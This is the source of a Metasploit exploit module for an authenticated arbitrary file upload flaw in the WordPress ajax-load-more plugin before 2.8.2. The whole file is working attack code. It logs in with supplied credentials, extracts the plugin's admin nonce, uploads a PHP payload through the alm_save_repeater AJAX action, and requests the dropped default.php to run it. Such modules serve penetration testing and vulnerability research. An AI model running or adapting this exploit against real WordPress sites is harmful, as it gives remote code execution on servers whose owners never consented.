Wordpress Ajax Load More Plugin < 2.8.2 - File Upload Vulnerability

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
   
  include Msf::Exploit::FileDropper
  include Msf::HTTP::Wordpress
   
  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Plugin ajax-load-more Authenticated Arbitrary File Upload',
      'Description'     => %q{
          This module exploits an authenticated file upload vulnerability in Wordpress plugin
ajax-load-more versions < 2.8.2. Valid wordpress credentials are required for the exploit to work.
          Tested with version v2.7.3. (May work on older versions).
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Pizza Hat Hacker <PizzaHatHacker[A]gmail[.]com', # Vulnerability discovery & Metasploit module
        ],
      'References'      =>
        [
          ['WPVDB', '8209']
        ],
      'DisclosureDate'  => 'Oct 02 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['ajax-load-more', {}]],
      'DefaultTarget'   => 0
    ))
     
    register_options(
    [
         OptString.new('WP_USER', [true, 'A valid wordpress username', nil]),
         OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
    ], self.class)
  end
   
  def user
    datastore['WP_USER']
  end
   
  def password
    datastore['WP_PASSWORD']
  end
   
  def check
    # Check plugin version
    ver = check_plugin_version_from_readme('ajax-load-more, 2.8.2')
    if ver
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end
   
  def exploit
    # Wordpress login
    print_status("#{peer} - Trying to login as #{user}")
    cookie = wordpress_login(user, password)
    if cookie.nil?
      print_error("#{peer} - Unable to login as #{user}")
      return
    end
     
    url = normalize_uri(wordpress_url_backend, 'profile.php')
    print_status("#{peer} - Retrieving WP nonce from #{url}")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => url,
      'cookie'   => cookie
    })
     
    if res and res.code == 200
      # "alm_admin_nonce":"e58b6d536d"
      res.body =~ /\"alm_admin_nonce\":\"([0-9a-f]+)\"/
      wp_nonce = $1
      if wp_nonce
        print_good("#{peer} Found ajax-load-more wp_nonce value : #{wp_nonce}")
      else
        vprint_error("#{peer} #{res.body}")
        fail_with(Failure::Unknown, "#{peer} - Unable to retrieve wp_nonce from user profile page.")
      end
    else
      fail_with(Failure::Unknown, "#{peer} - Unexpected server response (code #{res.code}) while accessing user profile page.")
    end
 
    print_status("#{peer} - Trying to upload payload")
     
    # Generate MIME message
    data = Rex::MIME::Message.new
    data.add_part('alm_save_repeater', nil, nil, 'form-data; name="action"')
    data.add_part(wp_nonce, nil, nil, 'form-data; name="nonce"')
    data.add_part('default', nil, nil, 'form-data; name="type"')
    data.add_part("#{rand_text_alpha_lower(3)}", nil, nil, 'form-data; name="repeater"')
    data.add_part(payload.encoded, nil, nil, 'form-data; name="value"')
 
    print_status("#{peer} - Uploading payload")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(wordpress_url_admin_ajax),
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s,
      'cookie'   => cookie
    })
     
    filename = 'default.php'
    if res
      if res.code == 200
        lines = res.body.split("\n")
        if lines.length > 0
          message = lines[lines.length - 1]
          if message.include?('Template Saved Successfully')
            register_files_for_cleanup(filename)
          else
            vprint_error("#{peer} - Unexpected web page content : #{message}")
          end
        else
          fail_with(Failure::Unknown, "#{peer} - Unexpected empty server response")
        end
      else
        fail_with(Failure::Unknown, "#{peer} - Unexpected HTTP response code : #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end
     
    print_status("#{peer} - Calling uploaded file #{filename}")
    send_request_cgi(
      'uri'    => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
    )
  end
end

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